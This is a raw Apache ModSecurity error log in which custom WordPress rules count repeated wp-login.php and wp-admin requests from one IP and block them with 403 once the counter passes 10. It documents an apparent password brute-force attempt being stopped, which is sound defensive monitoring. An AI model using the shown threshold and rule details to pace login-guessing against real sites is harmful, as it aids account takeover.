[Sat Feb 28 02:01:15.845057 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:61501] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHb6wP6I7SRqrhh7RozFwAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:17.177629 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:57003] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHb7QP6I7SRqrhh7RozHQAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:18.276120 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:57002] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHb7gP6I7SRqrhh7RozIgAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:19.381475 2026] [:error] [pid 15100:tid 15180] [client 5.189.134.86:50959] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHb70OEbzcINan_ctLSTwAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:23.001615 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:51712] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb87_i6nvKNhjFW7VjFwAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:23.001691 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:51712] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb87_i6nvKNhjFW7VjFwAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:25.853149 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb9QP6I7SRqrhh7RozYgAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:27.275531 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb9wP6I7SRqrhh7RozbgAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:30.089369 2026] [:error] [pid 38620:tid 38628] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb-gP6I7SRqrhh7RozgwAAAUY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:31.395802 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb-wP6I7SRqrhh7RoziwAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:34.142753 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb_gP6I7SRqrhh7RozkQAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:35.445502 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb_wP6I7SRqrhh7RozlgAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:35.445579 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb_wP6I7SRqrhh7RozlgAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:37.944062 2026] [:error] [pid 15098:tid 15106] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcAckFqny8dQQbmTku1AAAAIE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:39.185023 2026] [:error] [pid 15098:tid 15107] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcA8kFqny8dQQbmTku1QAAAII"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:39.185087 2026] [:error] [pid 15098:tid 15107] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcA8kFqny8dQQbmTku1QAAAII"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:41.663785 2026] [:error] [pid 38586:tid 38594] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcBb_i6nvKNhjFW7VjYAAAAQU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:42.974871 2026] [:error] [pid 38586:tid 38589] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcBr_i6nvKNhjFW7VjYgAAAQA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:45.704351 2026] [:error] [pid 38586:tid 38606] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcCb_i6nvKNhjFW7VjZQAAARE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:47.015158 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcC7_i6nvKNhjFW7VjaAAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:47.015232 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:61628] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcC7_i6nvKNhjFW7VjaAAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:49.846600 2026] [:error] [pid 38620:tid 38637] [client 5.189.134.86:56621] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcDQP6I7SRqrhh7RozyQAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:51.198949 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:56621] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcDwP6I7SRqrhh7RozywAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:54.257347 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:56621] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcEgP6I7SRqrhh7Roz1QAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:55.638734 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:56621] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcEwP6I7SRqrhh7Roz1gAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:58.672497 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:56621] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcFgP6I7SRqrhh7Roz2QAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:00.027680 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:56621] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcGAP6I7SRqrhh7Roz2gAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:01.572752 2026] [:error] [pid 38620:tid 38627] [client 5.189.134.86:56621] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcGQP6I7SRqrhh7Roz3gAAAUU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:02.930592 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:55104] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcGgP6I7SRqrhh7Roz5gAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:04.266998 2026] [:error] [pid 15100:tid 15180] [client 5.189.134.86:58080] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcHEOEbzcINan_ctLSpwAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:05.599525 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:58080] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHcHb_i6nvKNhjFW7VjjQAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:06.855050 2026] [:error] [pid 15100:tid 15169] [client 5.189.134.86:54123] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcHkOEbzcINan_ctLSqgAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:08.168457 2026] [:error] [pid 15100:tid 15173] [client 5.189.134.86:54123] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcIEOEbzcINan_ctLSrAAAAE0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:09.517942 2026] [:error] [pid 15100:tid 15166] [client 5.189.134.86:60438] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcIUOEbzcINan_ctLSrgAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:10.910754 2026] [:error] [pid 15240:tid 15264] [client 5.189.134.86:64454] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcIi1iKL_41Rk9A9OO7AAAABY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:12.250674 2026] [:error] [pid 15240:tid 15251] [client 5.189.134.86:53684] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHcJC1iKL_41Rk9A9OO8AAAAAk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:13.584165 2026] [:error] [pid 15099:tid 15134] [client 5.189.134.86:53684] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcJenvP2vtPjYDq_hCLAAAAME"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:17.444090 2026] [:error] [pid 15099:tid 15139] [client 5.189.134.86:53684] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcKenvP2vtPjYDq_hCLgAAAMY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:18.778051 2026] [:error] [pid 15099:tid 15153] [client 5.189.134.86:53684] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcKunvP2vtPjYDq_hCMAAAANQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:18.778123 2026] [:error] [pid 15099:tid 15153] [client 5.189.134.86:53684] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcKunvP2vtPjYDq_hCMAAAANQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:21.560560 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:54414] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcLb_i6nvKNhjFW7Vj0gAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:21.560646 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:54414] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcLb_i6nvKNhjFW7Vj0gAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:22.930867 2026] [:error] [pid 38620:tid 38637] [client 5.189.134.86:55167] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcLgP6I7SRqrhh7Ro0KQAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:24.032501 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:61259] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcMAP6I7SRqrhh7Ro0LwAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:25.277370 2026] [:error] [pid 15099:tid 15149] [client 5.189.134.86:50848] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHcMenvP2vtPjYDq_hCOAAAANA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:26.620029 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:64392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcMgP6I7SRqrhh7Ro0NwAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:29.412625 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:64392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcNQP6I7SRqrhh7Ro0OgAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:30.721131 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:64392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcNgP6I7SRqrhh7Ro0PAAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:30.721195 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:64392] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcNgP6I7SRqrhh7Ro0PAAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:33.509810 2026] [:error] [pid 15240:tid 15252] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcOS1iKL_41Rk9A9OPCwAAAAo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:34.892117 2026] [:error] [pid 15240:tid 15263] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcOi1iKL_41Rk9A9OPDQAAABU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:37.744811 2026] [:error] [pid 15240:tid 15256] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcPS1iKL_41Rk9A9OPGgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:39.030811 2026] [:error] [pid 15240:tid 15261] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcPy1iKL_41Rk9A9OPIAAAABM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:39.030947 2026] [:error] [pid 15240:tid 15261] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcPy1iKL_41Rk9A9OPIAAAABM"], referer: https://gigfragments.org/wp-login.php
